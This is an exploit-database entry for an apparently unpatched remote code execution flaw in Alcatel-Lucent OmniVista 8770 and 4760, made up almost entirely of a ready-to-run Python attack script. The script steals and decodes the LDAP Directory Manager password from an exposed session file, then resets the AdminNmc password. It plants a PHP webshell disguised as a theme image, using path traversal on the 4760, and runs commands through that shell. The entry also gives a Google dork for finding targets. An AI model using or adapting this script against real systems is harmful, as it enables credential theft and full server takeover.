# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution
# Google Dork: inurl:php-bin/webclient.php
# Date: 2019-12-01
# Author: 0x1911
# Vendor Homepage: https://www.al-enterprise.com/
# Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system
# Version: All versions, still unpatched
# Tested on: Windows 2003/2008
# CVE : 0day

# Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py
# Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md


'''
Original url: https://git.lsd.cat/g/omnivista-rce
Website: https://lsd.cat
'''
import requests
import socket
import ldap
import sys
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class OmniVista:
  def __init__(self, host):
    self.host = host
    self.addr = (urlparse(self.host).hostname)
    self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
    self.filename = "poc.php"
    self.webshell = "<?php system($_REQUEST[0]) ?>"

  def identify(self):
    r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
    if '8770' in r.text:
      return 8770
    elif '4760' in r.text:
      return 4760
    else:
      return False

  def checkldap(self):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    result = s.connect_ex((self.addr, 389))
    if result == 0:
      return True

  def info(self):
    r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
    if 'PHP Version' in r.text:
      return r.text
    else:
      return False

  def getpassword(self):
    r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
    id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
    r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
    lenght = int(r.text.split("ldapSuPass")[1][3:5])
    password = r.text.split("ldapSuPass")[1][7:7+lenght]
    return password

  def decodepassword(self, password):
    counter = 0
    key = 16
    cleartext = ""
    if password[0:5] == "{NMC}":
      password = password[5:]
    else:
      return False
    for char in password:
      if 32 <= ord(char):
        char = chr(ord(char) ^ key)
        cleartext += char
      else:
        cleartext += char
      if ord(char) != 0:
        key = counter * ord(char) % 255 >> 3
      else:
        key = 16
      counter += 1
    return cleartext

  def connectldap(self):
    connect = ldap.initialize('ldap://' + self.addr)
    connect.set_option(ldap.OPT_REFERRALS, 0)
    connect.simple_bind_s(self.username, self.password)
    result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
    print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
    self.bind = connect
    return True

  def editadminpassword(self):
    self.adminusername = "AdminNmc"
    self.adminpassword = "Lsdcat_exploit1!"
    self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
    return True

  def login(self):
    self.session = requests.session()
    r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
    if 'Directory license is required!' in r.text:
      return False
    else:
      return True

  def exploit8770(self):
    r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False)
    r = self.session.post(self.host + 'php-bin/webclient.php',
      data = {"action": "saveTheme", "themeId": "2"},
      files = { "BgImg1": (self.filename, self.webshell, "image/png")},
      verify = False)
    if 'success' in r.text:
      return True

  def exec8770(self):
    return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text

  def exploit4760(self):
    for folder in self.folders:
      r = requests.post(self.host + 'php-bin/webclient.php',
        data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
        files = { "BgImg1": (self.filename, self.webshell, "image/png")},
      verify=False)
      if 'success' in r.text:
        self.folder = folder
        return True

  def exec4760(self, cmd):
    return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text

  def autoexploit(self):
    print('[*] Attempting to exploit on {}'.format(self.host))
    self.model = self.identify()
    if self.model == 4760:
      print('[*] Model is {}'.format(str(self.model)))
      self.exploit4760()
      print('[*] Upload folder is {}'.format(self.folder))
      output = self.exec4760("whoami")
      print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
      print('[*] Command output: '.format(output))
    elif self.model == 8770:
      print('[*] Model is {}'.format(str(self.model)))
      self.username = "cn=Directory Manager"
      self.password = self.decodepassword(self.getpassword())
      print('[*] {} password is "{}"'.format(self.username, self.password))
      if self.checkldap():
        print('[*] LDAP Service is accessible!')
        self.connectldap()
        print('[*] Changing AdminNmc password')
        self.editadminpassword()
        print('[*] Logging in')
        if self.login():
          self.exploit8770()
          output = self.exec8770("whoami")
          print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
          print('[*] Command output: '.format(output))
        else:
          print("[x] Directory license not installed :/")
          return False
      else:
        print("[x] LDAP Service is not directly accessible")
        return False

    else:
      print("[x] Target is not an OmniVista 4760/8770")
      return False

if len(sys.argv) != 2:
  print("Usage: ./omnivista.py http(s)://target.tld:port/")
else:
  exploit = OmniVista(sys.argv[1])
  exploit.autoexploit()